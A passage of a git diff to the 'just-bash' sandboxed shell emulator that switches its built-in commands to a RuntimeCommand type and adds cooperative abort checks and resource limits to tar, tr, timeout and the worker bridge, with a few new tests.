-  ctx: CommandContext,
+  ctx: RuntimeCommandContext,
   options: TarOptions,
   files: string[],
 ): Promise<ExecResult> {
@@ -307,6 +343,7 @@ async function createTarArchive(
   let verboseOutput = "";
 
   for (const file of files) {
+    if (isAborted(ctx)) return abortedResult();
     const { entries, errors } = await collectFiles(
       ctx,
       workDir,
@@ -335,15 +372,27 @@ async function createTarArchive(
   let archiveData: Uint8Array;
   try {
     if (options.gzip) {
-      archiveData = await createCompressedArchive(allEntries);
+      archiveData = await createCompressedArchive(
+        allEntries,
+        archiveLimits(ctx),
+      );
     } else if (options.bzip2) {
-      archiveData = await createBzip2CompressedArchive(allEntries);
+      archiveData = await createBzip2CompressedArchive(
+        allEntries,
+        archiveLimits(ctx),
+      );
     } else if (options.xz) {
-      archiveData = await createXzCompressedArchive(allEntries);
+      archiveData = await createXzCompressedArchive(
+        allEntries,
+        archiveLimits(ctx),
+      );
     } else if (options.zstd) {
-      archiveData = await createZstdCompressedArchive(allEntries);
+      archiveData = await createZstdCompressedArchive(
+        allEntries,
+        archiveLimits(ctx),
+      );
     } else {
-      archiveData = await createArchive(allEntries);
+      archiveData = await createArchive(allEntries, archiveLimits(ctx));
     }
   } catch (e) {
     const msg = e instanceof Error ? e.message : "unknown error";
@@ -394,7 +443,7 @@ async function createTarArchive(
  * Append files to an existing tar archive (-r)
  */
 async function appendTarArchive(
-  ctx: CommandContext,
+  ctx: RuntimeCommandContext,
   options: TarOptions,
   files: string[],
 ): Promise<ExecResult> {
@@ -429,7 +478,7 @@ async function appendTarArchive(
   }
 
   // Parse existing archive
-  const parseResult = await parseArchive(existingData);
+  const parseResult = await parseArchive(existingData, archiveLimits(ctx));
   if (parseResult.error) {
     return {
       stdout: "",
@@ -483,7 +532,7 @@ async function appendTarArchive(
   // Create new archive
   let archiveData: Uint8Array;
   try {
-    archiveData = await createArchive(allEntries);
+    archiveData = await createArchive(allEntries, archiveLimits(ctx));
   } catch (e) {
     const msg = e instanceof Error ? e.message : "unknown error";
     return {
@@ -516,7 +565,7 @@ async function appendTarArchive(
  * Update archive with newer files (-u)
  */
 async function updateTarArchive(
-  ctx: CommandContext,
+  ctx: RuntimeCommandContext,
   options: TarOptions,
   files: string[],
 ): Promise<ExecResult> {
@@ -551,7 +600,7 @@ async function updateTarArchive(
   }
 
   // Parse existing archive
-  const parseResult = await parseArchive(existingData);
+  const parseResult = await parseArchive(existingData, archiveLimits(ctx));
   if (parseResult.error) {
     return {
       stdout: "",
@@ -630,7 +679,7 @@ async function updateTarArchive(
   // Create new archive
   let archiveData: Uint8Array;
   try {
-    archiveData = await createArchive(allEntries);
+    archiveData = await createArchive(allEntries, archiveLimits(ctx));
   } catch (e) {
     const msg = e instanceof Error ? e.message : "unknown error";
     return {
@@ -663,7 +712,7 @@ async function updateTarArchive(
  * Extract a tar archive
  */
 async function extractTarArchive(
-  ctx: CommandContext,
+  ctx: RuntimeCommandContext,
   options: TarOptions,
   specificFiles: string[],
 ): Promise<ExecResult> {
@@ -697,15 +746,24 @@ async function extractTarArchive(
   const useZstd = options.zstd || isZstdCompressed(archiveData);
 
   if (useGzip) {
-    parseResult = await parseCompressedArchive(archiveData);
+    parseResult = await parseCompressedArchive(archiveData, archiveLimits(ctx));
   } else if (useBzip2) {
-    parseResult = await parseBzip2CompressedArchive(archiveData);
+    parseResult = await parseBzip2CompressedArchive(
+      archiveData,
+      archiveLimits(ctx),
+    );
   } else if (useXz) {
-    parseResult = await parseXzCompressedArchive(archiveData);
+    parseResult = await parseXzCompressedArchive(
+      archiveData,
+      archiveLimits(ctx),
+    );
   } else if (useZstd) {
-    parseResult = await parseZstdCompressedArchive(archiveData);
+    parseResult = await parseZstdCompressedArchive(
+      archiveData,
+      archiveLimits(ctx),
+    );
   } else {
-    parseResult = await parseArchive(archiveData);
+    parseResult = await parseArchive(archiveData, archiveLimits(ctx));
   }
 
   if (parseResult.error) {
@@ -731,6 +789,7 @@ async function extractTarArchive(
 
   // Create target directory if it doesn't exist (only if not extracting to stdout)
   if (options.directory && !options.toStdout) {
+    if (isAborted(ctx)) return abortedResult();
     try {
       await ctx.fs.mkdir(workDir, { recursive: true });
     } catch {
@@ -740,6 +799,7 @@ async function extractTarArchive(
 
   // Extract entries
   for (const entry of parseResult.entries) {
+    if (isAborted(ctx)) return abortedResult();
     // Apply strip-components
     const name = stripComponents(entry.name, options.strip);
     if (!name) continue;
@@ -788,6 +848,7 @@ async function extractTarArchive(
         // Skip directories when extracting to stdout
         if (options.toStdout) continue;
 
+        if (isAborted(ctx)) return abortedResult();
         await ctx.fs.mkdir(targetPath, { recursive: true });
         if (options.verbose) {
           verboseOutput += `${safeName}\n`;
@@ -825,6 +886,7 @@ async function extractTarArchive(
           }
         }
 
+        if (isAborted(ctx)) return abortedResult();
         await ctx.fs.writeFile(targetPath, entry.content);
 
         // Set permissions if preserving
@@ -876,6 +938,7 @@ async function extractTarArchive(
         }
 
         try {
+          if (isAborted(ctx)) return abortedResult();
           await ctx.fs.symlink(entry.linkTarget, targetPath);
         } catch {
           // Symlink may already exist
@@ -886,6 +949,7 @@ async function extractTarArchive(
         }
       }
     } catch (e) {
+      if (isAborted(ctx)) return abortedResult();
       const msg = e instanceof Error ? e.message : "unknown error";
       errors.push(`tar: ${safeName}: ${msg}`);
     }
@@ -903,7 +967,7 @@ async function extractTarArchive(
  * List contents of a tar archive
  */
 async function listTarArchive(
-  ctx: CommandContext,
+  ctx: RuntimeCommandContext,
   options: TarOptions,
   specificFiles: string[],
 ): Promise<ExecResult> {
@@ -937,15 +1001,24 @@ async function listTarArchive(
   const useZstd = options.zstd || isZstdCompressed(archiveData);
 
   if (useGzip) {
-    parseResult = await parseCompressedArchive(archiveData);
+    parseResult = await parseCompressedArchive(archiveData, archiveLimits(ctx));
   } else if (useBzip2) {
-    parseResult = await parseBzip2CompressedArchive(archiveData);
+    parseResult = await parseBzip2CompressedArchive(
+      archiveData,
+      archiveLimits(ctx),
+    );
   } else if (useXz) {
-    parseResult = await parseXzCompressedArchive(archiveData);
+    parseResult = await parseXzCompressedArchive(
+      archiveData,
+      archiveLimits(ctx),
+    );
   } else if (useZstd) {
-    parseResult = await parseZstdCompressedArchive(archiveData);
+    parseResult = await parseZstdCompressedArchive(
+      archiveData,
+      archiveLimits(ctx),
+    );
   } else {
-    parseResult = await parseArchive(archiveData);
+    parseResult = await parseArchive(archiveData, archiveLimits(ctx));
   }
 
   if (parseResult.error) {
@@ -959,6 +1032,7 @@ async function listTarArchive(
   let stdout = "";
 
   for (const entry of parseResult.entries) {
+    if (isAborted(ctx)) return abortedResult();
     // Apply strip-components for display
     const name = stripComponents(entry.name, options.strip);
     if (!name) continue;
@@ -1006,9 +1080,13 @@ async function listTarArchive(
   return { stdout, stderr: "", exitCode: 0 };
 }
 
-export const tarCommand: Command = {
+export const tarCommand: RuntimeCommand = {
   name: "tar",
-  async execute(args: string[], ctx: CommandContext): Promise<ExecResult> {
+  async execute(
+    args: string[],
+    ctx: RuntimeCommandContext,
+  ): Promise<ExecResult> {
+    if (isAborted(ctx)) return abortedResult();
     if (hasHelpFlag(args)) {
       return showHelp(tarHelp);
     }
diff --git a/packages/just-bash/src/commands/tee/tee.ts b/packages/just-bash/src/commands/tee/tee.ts
index cecb3150..0776b490 100644
--- a/packages/just-bash/src/commands/tee/tee.ts
+++ b/packages/just-bash/src/commands/tee/tee.ts
@@ -1,5 +1,9 @@
 import { latin1FromBytes } from "../../encoding.js";
-import type { Command, CommandContext, ExecResult } from "../../types.js";
+import type {
+  ExecResult,
+  RuntimeCommand,
+  RuntimeCommandContext,
+} from "../../types.js";
 import { parseArgs } from "../../utils/args.js";
 import { hasHelpFlag, showHelp } from "../help.js";
 
@@ -17,10 +21,13 @@ const argDefs = {
   append: { short: "a", long: "append", type: "boolean" as const },
 };
 
-export const teeCommand: Command = {
+export const teeCommand: RuntimeCommand = {
   name: "tee",
 
-  async execute(args: string[], ctx: CommandContext): Promise<ExecResult> {
+  async execute(
+    args: string[],
+    ctx: RuntimeCommandContext,
+  ): Promise<ExecResult> {
     if (hasHelpFlag(args)) {
       return showHelp(teeHelp);
     }
diff --git a/packages/just-bash/src/commands/time/time.ts b/packages/just-bash/src/commands/time/time.ts
index 29c93f91..08ea21ad 100644
--- a/packages/just-bash/src/commands/time/time.ts
+++ b/packages/just-bash/src/commands/time/time.ts
@@ -3,7 +3,11 @@ import { sanitizeErrorMessage } from "../../fs/sanitize-error.js";
 import { mapToRecord } from "../../helpers/env.js";
 import { shellJoinArgs } from "../../helpers/shell-quote.js";
 import { _performanceNow } from "../../security/trusted-globals.js";
-import type { Command, CommandContext, ExecResult } from "../../types.js";
+import type {
+  ExecResult,
+  RuntimeCommand,
+  RuntimeCommandContext,
+} from "../../types.js";
 
 /**
  * time - time command execution
@@ -28,10 +32,13 @@ import type { Command, CommandContext, ExecResult } from "../../types.js";
  * Note: In this JavaScript implementation, user/system CPU time and memory
  * metrics are not available, so %M, %S, %U output 0.
  */
-export const timeCommand: Command = {
+export const timeCommand: RuntimeCommand = {
   name: "time",
 
-  async execute(args: string[], ctx: CommandContext): Promise<ExecResult> {
+  async execute(
+    args: string[],
+    ctx: RuntimeCommandContext,
+  ): Promise<ExecResult> {
     // Parse options
     let format = "%e %M"; // Default format
     let outputFile: string | null = null;
diff --git a/packages/just-bash/src/commands/time/time.utf8-stdin.test.ts b/packages/just-bash/src/commands/time/time.utf8-stdin.test.ts
index 0729b815..41262444 100644
--- a/packages/just-bash/src/commands/time/time.utf8-stdin.test.ts
+++ b/packages/just-bash/src/commands/time/time.utf8-stdin.test.ts
@@ -8,4 +8,12 @@ describe("time forwards UTF-8 stdin", () => {
     expect(r.exitCode).toBe(0);
     expect(r.stdout).toBe("한글 / café\n");
   });
+
+  it("keeps the established verbose command label", async () => {
+    const result = await new Bash().exec("command time --verbose echo ok");
+
+    expect(result.exitCode).toBe(0);
+    expect(result.stderr).toContain("Command being timed: echo ok");
+    expect(result.stderr).not.toContain("RuntimeCommand");
+  });
 });
diff --git a/packages/just-bash/src/commands/timeout/timeout.ts b/packages/just-bash/src/commands/timeout/timeout.ts
index 124f7f04..b2e748dc 100644
--- a/packages/just-bash/src/commands/timeout/timeout.ts
+++ b/packages/just-bash/src/commands/timeout/timeout.ts
@@ -1,7 +1,12 @@
+import { combineAbortSignals } from "../../abort-signals.js";
 import { latin1FromBytes } from "../../encoding.js";
 import { shellJoinArgs } from "../../helpers/shell-quote.js";
 import { _clearTimeout, _setTimeout } from "../../timers.js";
-import type { Command, CommandContext, ExecResult } from "../../types.js";
+import type {
+  ExecResult,
+  RuntimeCommand,
+  RuntimeCommandContext,
+} from "../../types.js";
 import { parseDuration } from "../duration.js";
 import { hasHelpFlag, showHelp, unknownOption } from "../help.js";
 
@@ -25,10 +30,13 @@ DURATION is a number with optional suffix:
   ],
 };
 
-export const timeoutCommand: Command = {
+export const timeoutCommand: RuntimeCommand = {
   name: "timeout",
 
-  async execute(args: string[], ctx: CommandContext): Promise<ExecResult> {
+  async execute(
+    args: string[],
+    ctx: RuntimeCommandContext,
+  ): Promise<ExecResult> {
     if (hasHelpFlag(args)) {
       return showHelp(timeoutHelp);
     }
@@ -120,20 +128,25 @@ export const timeoutCommand: Command = {
     // When the timeout fires, the signal is aborted, causing the interpreter
     // to stop at the next statement boundary — no post-timeout side effects.
     const controller = new AbortController();
+    const combinedAbort = combineAbortSignals(ctx.signal, controller.signal);
 
     let timerId: ReturnType<typeof _setTimeout> | undefined;
+    let abortListener: (() => void) | undefined;
     try {
       const timeoutPromise = new Promise<{ timedOut: true }>((resolve) => {
+        abortListener = () => resolve({ timedOut: true });
+        combinedAbort.signal?.addEventListener("abort", abortListener, {
+          once: true,
+        });
         timerId = _setTimeout(() => {
           controller.abort();
-          resolve({ timedOut: true });
         }, durationMs);
       });
 
       const execPromise = ctx
         .exec(shellJoinArgs([commandArgs[0]]), {
           cwd: ctx.cwd,
-          signal: controller.signal,
+          signal: combinedAbort.signal,
           stdin: latin1FromBytes(ctx.stdin),
           // ctx.stdin is already byte-shaped — forward verbatim.
           stdinKind: "bytes",
@@ -144,6 +157,12 @@ export const timeoutCommand: Command = {
       const outcome = await Promise.race([timeoutPromise, execPromise]);
 
       if (outcome.timedOut) {
+        // Cancellation is cooperative. Do not let the public execution scope
+        // close while the child pipeline is still unwinding: late accounting,
+        // output, or side effects would otherwise escape the timeout result.
+        // Built-in commands and worker bridges are required to settle when
+        // their signal aborts.
+        await execPromise.catch(() => undefined);
         return {
           stdout: "",
           stderr: "",
@@ -156,6 +175,10 @@ export const timeoutCommand: Command = {
       if (timerId !== undefined) {
         _clearTimeout(timerId);
       }
+      if (abortListener) {
+        combinedAbort.signal?.removeEventListener("abort", abortListener);
+      }
+      combinedAbort.cleanup();
     }
   },
 };
diff --git a/packages/just-bash/src/commands/touch/touch.ts b/packages/just-bash/src/commands/touch/touch.ts
index 39a1669f..b3d4b52c 100644
--- a/packages/just-bash/src/commands/touch/touch.ts
+++ b/packages/just-bash/src/commands/touch/touch.ts
@@ -1,5 +1,9 @@
 import { getErrorMessage } from "../../interpreter/helpers/errors.js";
-import type { Command, CommandContext, ExecResult } from "../../types.js";
+import type {
+  ExecResult,
+  RuntimeCommand,
+  RuntimeCommandContext,
+} from "../../types.js";
 import { unknownOption } from "../help.js";
 
 /**
@@ -56,10 +60,13 @@ function parseDateString(dateStr: string): Date | null {
   return null;
 }
 
-export const touchCommand: Command = {
+export const touchCommand: RuntimeCommand = {
   name: "touch",
 
-  async execute(args: string[], ctx: CommandContext): Promise<ExecResult> {
+  async execute(
+    args: string[],
+    ctx: RuntimeCommandContext,
+  ): Promise<ExecResult> {
     const files: string[] = [];
     let dateStr: string | null = null;
     let noCreate = false;
diff --git a/packages/just-bash/src/commands/tr/tr.ts b/packages/just-bash/src/commands/tr/tr.ts
index 6ba84040..7ee659a6 100644
--- a/packages/just-bash/src/commands/tr/tr.ts
+++ b/packages/just-bash/src/commands/tr/tr.ts
@@ -1,6 +1,16 @@
-import { decodeBytesToUtf8 } from "../../encoding.js";
+import {
+  decodeBytesToUtf8,
+  latin1FromBytes,
+  utf8ByteLength,
+} from "../../encoding.js";
+import { rethrowFatalExecutionError } from "../../fatal-execution-error.js";
 import { sanitizeErrorMessage } from "../../fs/sanitize-error.js";
-import type { Command, CommandContext, ExecResult } from "../../types.js";
+import { ExecutionLimitError } from "../../interpreter/errors.js";
+import type {
+  ExecResult,
+  RuntimeCommand,
+  RuntimeCommandContext,
+} from "../../types.js";
 import { parseArgs } from "../../utils/args.js";
 import { hasHelpFlag, showHelp } from "../help.js";
 
@@ -61,17 +71,41 @@ const POSIX_CLASSES = new Map<string, string>([
   ["[:xdigit:]", "0123456789ABCDEFabcdef"],
 ]);
 
-function expandRange(set: string): string {
+function expandRange(
+  set: string,
+  maxLength: number,
+  maxIterations: number,
+  budget: { iterations: number },
+): string {
   let result = "";
   let i = 0;
+  const append = (value: string): void => {
+    if (value.length > maxLength - result.length) {
+      throw new ExecutionLimitError(
+        `tr: expanded SET exceeds string length limit (${maxLength})`,
+        "string_length",
+      );
+    }
+    result += value;
+  };
+  const useIterations = (count = 1): void => {
+    if (count > maxIterations - budget.iterations) {
+      throw new ExecutionLimitError(
+        `tr: SET expansion iteration limit exceeded (${maxIterations})`,
+        "iterations",
+      );
+    }
+    budget.iterations += count;
+  };
 
   while (i < set.length) {
+    useIterations();
     // Check for POSIX character classes like [:alnum:]
     if (set[i] === "[" && set[i + 1] === ":") {
       let found = false;
       for (const [className, chars] of POSIX_CLASSES) {
         if (set.slice(i).startsWith(className)) {
-          result += chars;
+          append(chars);
           i += className.length;
           found = true;
           break;
@@ -84,13 +118,13 @@ function expandRange(set: string): string {
     if (set[i] === "\\" && i + 1 < set.length) {
       const next = set[i + 1];
       if (next === "n") {
-        result += "\n";
+        append("\n");
       } else if (next === "t") {
-        result += "\t";
+        append("\t");
       } else if (next === "r") {
-        result += "\r";
+        append("\r");
       } else {
-        result += next;
+        append(next);
       }
       i += 2;
       continue;
@@ -100,10 +134,12 @@ function expandRange(set: string): string {
     if (i + 2 < set.length && set[i + 1] === "-") {
       const start = set.charCodeAt(i);
       const end = set.charCodeAt(i + 2);
-      if (end - start > 65536) {
-        // Prevent memory exhaustion from huge character ranges
-        throw new Error(
-          `tr: character range too large: '${set[i]}-${set[i + 2]}'`,
+      const rangeLength = end >= start ? end - start + 1 : 0;
+      useIterations(rangeLength);
+      if (rangeLength > maxLength - result.length) {
+        throw new ExecutionLimitError(
+          `tr: expanded SET exceeds string length limit (${maxLength})`,
+          "string_length",
         );
       }
       for (let code = start; code <= end; code++) {
@@ -113,7 +149,7 @@ function expandRange(set: string): string {
       continue;
     }
 
-    result += set[i];
+    append(set[i]);
     i++;
   }
 
@@ -127,9 +163,12 @@ const argDefs = {
   squeeze: { short: "s", long: "squeeze-repeats", type: "boolean" as const },
 };
 
-export const trCommand: Command = {
+export const trCommand: RuntimeCommand = {
   name: "tr",
-  async execute(args: string[], ctx: CommandContext): Promise<ExecResult> {
+  async execute(
+    args: string[],
+    ctx: RuntimeCommandContext,
+  ): Promise<ExecResult> {
     if (hasHelpFlag(args)) {
       return showHelp(trHelp);
     }
@@ -162,10 +201,35 @@ export const trCommand: Command = {
 
     let set1Raw: string;
     let set2: string;
+    const maxStringLength = Math.min(
+      ctx.limits.maxInputBytes,
+      ctx.limits.maxStringLength,
+    );
+    const maxIterations = ctx.limits.maxLoopIterations;
+    const maxArrayElements = ctx.limits.maxArrayElements;
+    const maxOutputSize = Math.min(
+      ctx.limits.maxOutputSize,
+      ctx.limits.maxStringLength,
+    );
     try {
-      set1Raw = expandRange(sets[0]);
-      set2 = sets.length > 1 ? expandRange(sets[1]) : "";
+      const expansionBudget = { iterations: 0 };
+      set1Raw = expandRange(
+        sets[0],
+        maxStringLength,
+        maxIterations,
+        expansionBudget,
+      );
+      set2 =
+        sets.length > 1
+          ? expandRange(
+              sets[1],
+              maxStringLength,
+              maxIterations,
+              expansionBudget,
+            )
+          : "";
     } catch (e) {
+      rethrowFatalExecutionError(e);
       const message = sanitizeErrorMessage((e as Error).message);
       return {
         stdout: "",
@@ -176,21 +240,47 @@ export const trCommand: Command = {
     // Translation operates on codepoints — set1 / set2 args are real Unicode
     // strings, so we must decode bytes to UTF-8 first, otherwise multibyte
     // chars don't match the SET they were spelled with.
+    if (latin1FromBytes(ctx.stdin).length > maxStringLength) {
+      throw new ExecutionLimitError(
+        `tr: input size limit exceeded (${maxStringLength} bytes)`,
+        "string_length",
+      );
+    }
     const content = decodeBytesToUtf8(ctx.stdin);
+    if (set1Raw.length > maxArrayElements || set2.length > maxArrayElements) {
+      throw new ExecutionLimitError(
+        `tr: array element limit exceeded (${maxArrayElements})`,
+        "array_elements",
+      );
+    }
+    const set1 = new Set(set1Raw);
+    const set2Chars = new Set(set2);
 
     // Helper to check if character is in set1 (considering complement mode)
     const isInSet1 = (char: string): boolean => {
-      const inSet = set1Raw.includes(char);
+      const inSet = set1.has(char);
       return complementMode ? !inSet : inSet;
     };
 
     let output = "";
+    let outputBytes = 0;
+    const appendOutput = (value: string): void => {
+      const bytes = utf8ByteLength(value);
+      if (bytes > maxOutputSize - outputBytes) {
+        throw new ExecutionLimitError(
+          `tr: output size limit exceeded (${maxOutputSize} bytes)`,
+          "output_size",
+        );
+      }
+      output += value;
+      outputBytes += bytes;
+    };
 
     if (deleteMode) {
       // Delete characters in set1 (or complement of set1)
       for (const char of content) {
         if (!isInSet1(char)) {
-          output += char;
+          appendOutput(char);
         }
       }
     } else if (squeezeMode && sets.length === 1) {
@@ -200,20 +290,28 @@ export const trCommand: Command = {
         if (isInSet1(char) && char === prev) {
           continue; // Skip repeated character
         }
-        output += char;
+        appendOutput(char);
         prev = char;
       }
     } else {
       // Translate characters from set1 to set2
+      let translatedPrev = "";
+      const appendTranslated = (char: string): void => {
+        if (squeezeMode && set2Chars.has(char) && char === translatedPrev) {
+          return;
+        }
+        appendOutput(char);
+        translatedPrev = char;
+      };
       if (complementMode) {
         // In complement mode, all characters NOT in set1 are translated
         // They're all mapped to a single character (last char of set2)
         const targetChar = set2.length > 0 ? set2[set2.length - 1] : "";
         for (const char of content) {
-          if (!set1Raw.includes(char)) {
-            output += targetChar;
+          if (!set1.has(char)) {
+            appendTranslated(targetChar);
           } else {
-            output += char;
+            appendTranslated(char);
           }
         }
       } else {
@@ -226,22 +324,8 @@ export const trCommand: Command = {
         }
 
         for (const char of content) {
-          output += translationMap.get(char) ?? char;
-        }
-      }
-
-      // If squeeze mode is also enabled, squeeze set2 characters
-      if (squeezeMode) {
-        let squeezed = "";
-        let prev = "";
-        for (const char of output) {
-          if (set2.includes(char) && char === prev) {
-            continue;
-          }
-          squeezed += char;
-          prev = char;
+          appendTranslated(translationMap.get(char) ?? char);
         }
-        output = squeezed;
       }
     }
 
diff --git a/packages/just-bash/src/commands/tree/tree.ts b/packages/just-bash/src/commands/tree/tree.ts
index 6366a4a7..be393b94 100644
--- a/packages/just-bash/src/commands/tree/tree.ts
+++ b/packages/just-bash/src/commands/tree/tree.ts
@@ -1,4 +1,8 @@
-import type { Command, CommandContext, ExecResult } from "../../types.js";
+import type {
+  ExecResult,
+  RuntimeCommand,
+  RuntimeCommandContext,
+} from "../../types.js";
 import { parseArgs } from "../../utils/args.js";
 import { DEFAULT_BATCH_SIZE } from "../../utils/constants.js";
 import { hasHelpFlag, showHelp } from "../help.js";
@@ -30,10 +34,13 @@ interface TreeOptions {
   fullPath: boolean;
 }
 
-export const treeCommand: Command = {
+export const treeCommand: RuntimeCommand = {
   name: "tree",
 
-  async execute(args: string[], ctx: CommandContext): Promise<ExecResult> {
+  async execute(
+    args: string[],
+    ctx: RuntimeCommandContext,
+  ): Promise<ExecResult> {
     if (hasHelpFlag(args)) {
       return showHelp(treeHelp);
     }
@@ -87,7 +94,7 @@ interface TreeResult {
 }
 
 async function buildTree(
-  ctx: CommandContext,
+  ctx: RuntimeCommandContext,
   path: string,
   options: TreeOptions,
   prefix: string,
@@ -211,7 +218,7 @@ async function buildTree(
 }
 
 async function buildTreeRecursive(
-  ctx: CommandContext,
+  ctx: RuntimeCommandContext,
   path: string,
   options: TreeOptions,
   prefix: string,
diff --git a/packages/just-bash/src/commands/true/true.ts b/packages/just-bash/src/commands/true/true.ts
index 0034fb5f..11607378 100644
--- a/packages/just-bash/src/commands/true/true.ts
+++ b/packages/just-bash/src/commands/true/true.ts
@@ -1,6 +1,6 @@
-import type { Command, ExecResult } from "../../types.js";
+import type { ExecResult, RuntimeCommand } from "../../types.js";
 
-export const trueCommand: Command = {
+export const trueCommand: RuntimeCommand = {
   name: "true",
 
   async execute(): Promise<ExecResult> {
@@ -8,7 +8,7 @@ export const trueCommand: Command = {
   },
 };
 
-export const falseCommand: Command = {
+export const falseCommand: RuntimeCommand = {
   name: "false",
 
   async execute(): Promise<ExecResult> {
diff --git a/packages/just-bash/src/commands/uniq/uniq.ts b/packages/just-bash/src/commands/uniq/uniq.ts
index 80bc30b2..4a1a3cc2 100644
--- a/packages/just-bash/src/commands/uniq/uniq.ts
+++ b/packages/just-bash/src/commands/uniq/uniq.ts
@@ -1,5 +1,9 @@
 import { decodeBytesToUtf8, latin1FromBytes } from "../../encoding.js";
-import type { Command, CommandContext, ExecResult } from "../../types.js";
+import type {
+  ExecResult,
+  RuntimeCommand,
+  RuntimeCommandContext,
+} from "../../types.js";
 import { parseArgs } from "../../utils/args.js";
 import { readAndConcat } from "../../utils/file-reader.js";
 import { hasHelpFlag, showHelp } from "../help.js";
@@ -24,9 +28,12 @@ const argDefs = {
   ignoreCase: { short: "i", long: "ignore-case", type: "boolean" as const },
 };
 
-export const uniqCommand: Command = {
+export const uniqCommand: RuntimeCommand = {
   name: "uniq",
-  async execute(args: string[], ctx: CommandContext): Promise<ExecResult> {
+  async execute(
+    args: string[],
+    ctx: RuntimeCommandContext,
+  ): Promise<ExecResult> {
     if (hasHelpFlag(args)) {
       return showHelp(uniqHelp);
     }
diff --git a/packages/just-bash/src/commands/wc/wc.ts b/packages/just-bash/src/commands/wc/wc.ts
index 7fa38d10..067d052c 100644
--- a/packages/just-bash/src/commands/wc/wc.ts
+++ b/packages/just-bash/src/commands/wc/wc.ts
@@ -3,7 +3,11 @@ import {
   decodeBytesToUtf8,
   latin1FromBytes,
 } from "../../encoding.js";
-import type { Command, CommandContext, ExecResult } from "../../types.js";
+import type {
+  ExecResult,
+  RuntimeCommand,
+  RuntimeCommandContext,
+} from "../../types.js";
 import { parseArgs } from "../../utils/args.js";
 import { readFiles } from "../../utils/file-reader.js";
 import { hasHelpFlag, showHelp } from "../help.js";
@@ -28,10 +32,13 @@ const argDefs = {
   chars: { short: "m", long: "chars", type: "boolean" as const },
 };
 
-export const wcCommand: Command = {
+export const wcCommand: RuntimeCommand = {
   name: "wc",
 
-  async execute(args: string[], ctx: CommandContext): Promise<ExecResult> {
+  async execute(
+    args: string[],
+    ctx: RuntimeCommandContext,
+  ): Promise<ExecResult> {
     if (hasHelpFlag(args)) {
       return showHelp(wcHelp);
     }
diff --git a/packages/just-bash/src/commands/which/which.ts b/packages/just-bash/src/commands/which/which.ts
index 1c57f4d7..364546ab 100644
--- a/packages/just-bash/src/commands/which/which.ts
+++ b/packages/just-bash/src/commands/which/which.ts
@@ -1,4 +1,8 @@
-import type { Command, CommandContext, ExecResult } from "../../types.js";
+import type {
+  ExecResult,
+  RuntimeCommand,
+  RuntimeCommandContext,
+} from "../../types.js";
 import { parseArgs } from "../../utils/args.js";
 import { hasHelpFlag, showHelp } from "../help.js";
 
@@ -18,10 +22,13 @@ const argDefs = {
   silent: { short: "s", type: "boolean" as const },
 };
 
-export const whichCommand: Command = {
+export const whichCommand: RuntimeCommand = {
   name: "which",
 
-  async execute(args: string[], ctx: CommandContext): Promise<ExecResult> {
+  async execute(
+    args: string[],
+    ctx: RuntimeCommandContext,
+  ): Promise<ExecResult> {
     if (hasHelpFlag(args)) {
       return showHelp(whichHelp);
     }
diff --git a/packages/just-bash/src/commands/whoami/whoami.ts b/packages/just-bash/src/commands/whoami/whoami.ts
index 4e1ba014..76ba9853 100644
--- a/packages/just-bash/src/commands/whoami/whoami.ts
+++ b/packages/just-bash/src/commands/whoami/whoami.ts
@@ -6,17 +6,21 @@
  * In sandboxed environment, always returns "user".
  */
 
-import type { Command, CommandContext, ExecResult } from "../../types.js";
+import type {
+  ExecResult,
+  RuntimeCommand,
+  RuntimeCommandContext,
+} from "../../types.js";
 
 async function whoamiExecute(
   _args: string[],
-  _ctx: CommandContext,
+  _ctx: RuntimeCommandContext,
 ): Promise<ExecResult> {
   // In sandboxed environment, always return "user"
   return { stdout: "user\n", stderr: "", exitCode: 0 };
 }
 
-export const whoami: Command = {
+export const whoami: RuntimeCommand = {
   name: "whoami",
   execute: whoamiExecute,
 };
diff --git a/packages/just-bash/src/commands/worker-bridge/bridge-handler.ts b/packages/just-bash/src/commands/worker-bridge/bridge-handler.ts
index fe016659..3798fcf0 100644
--- a/packages/just-bash/src/commands/worker-bridge/bridge-handler.ts
+++ b/packages/just-bash/src/commands/worker-bridge/bridge-handler.ts
@@ -14,7 +14,7 @@ import {
 import { shellJoinArgs } from "../../helpers/shell-quote.js";
 import type { SecureFetch } from "../../network/fetch.js";
 import { DefenseInDepthBox } from "../../security/defense-in-depth-box.js";
-import { _clearTimeout, _setTimeout } from "../../timers.js";
+import { _clearFiniteTimeout, _setTimeoutIfFinite } from "../../timers.js";
 import type { CommandExecOptions, ExecResult } from "../../types.js";
 import {
   ErrorCode,
@@ -80,8 +80,9 @@ export class BridgeHandler {
       return Promise.reject(new Error("Operation timed out"));
     }
     const promise = fn();
+    if (remaining === Number.POSITIVE_INFINITY) return promise;
     return new Promise<T>((resolve, reject) => {
-      const timer = _setTimeout(() => {
+      const timer = _setTimeoutIfFinite(() => {
         this.running = false;
         this.output.exitCode = 124;
         this.output.stderr += `\n${this.commandName}: execution timeout exceeded\n`;
@@ -89,11 +90,11 @@ export class BridgeHandler {
       }, remaining);
       promise.then(
         (v) => {
-          _clearTimeout(timer);
+          _clearFiniteTimeout(timer);
           resolve(v);
         },
         (e) => {
-          _clearTimeout(timer);
+          _clearFiniteTimeout(timer);
           reject(e);
         },
       );
@@ -124,6 +125,7 @@ export class BridgeHandler {
         this.output.exitCode = 124;
         break;
       }
+      if (!this.running) break;
 
       const opCode = this.protocol.getOpCode();
       await this.handleOperation(opCode);
@@ -138,6 +140,9 @@ export class BridgeHandler {
 
   stop(): void {
     this.running = false;
+    // Wake a handler blocked before the worker's first bridge operation.
+    this.protocol.setStatus(Status.READY);
+    this.protocol.notify();
   }
 
   private async handleOperation(opCode: OpCodeType): Promise<void> {
diff --git a/packages/just-bash/src/commands/worker-request-controller.test.ts b/packages/just-bash/src/commands/worker-request-controller.test.ts
new file mode 100644
index 00000000..a61c8e49
--- /dev/null
+++ b/packages/just-bash/src/commands/worker-request-controller.test.ts
@@ -0,0 +1,75 @@
+import { describe, expect, it, vi } from "vitest";
+import {
+  estimateMessageBytes,
+  WorkerRequestController,
+} from "./worker-request-controller.js";
+
+describe("WorkerRequestController", () => {
+  it("observes an already-aborted parent before queue insertion", () => {
+    const abort = new AbortController();
+    abort.abort();
+    const events: string[] = [];
+    const request = new WorkerRequestController({
+      commandName: "test",
+      timeoutMs: 1_000,
+      signal: abort.signal,
+      maxMessageBytes: 100,
+    });
+    request.arm(() => events.push("cancel"));
+    if (!request.isCanceled) events.push("enqueue");
+    expect(events).toEqual(["cancel"]);
+    request.close();
+  });
+
+  it("removes listeners and fires cancellation once", () => {
+    vi.useFakeTimers();
+    const abort = new AbortController();
+    const cancel = vi.fn();
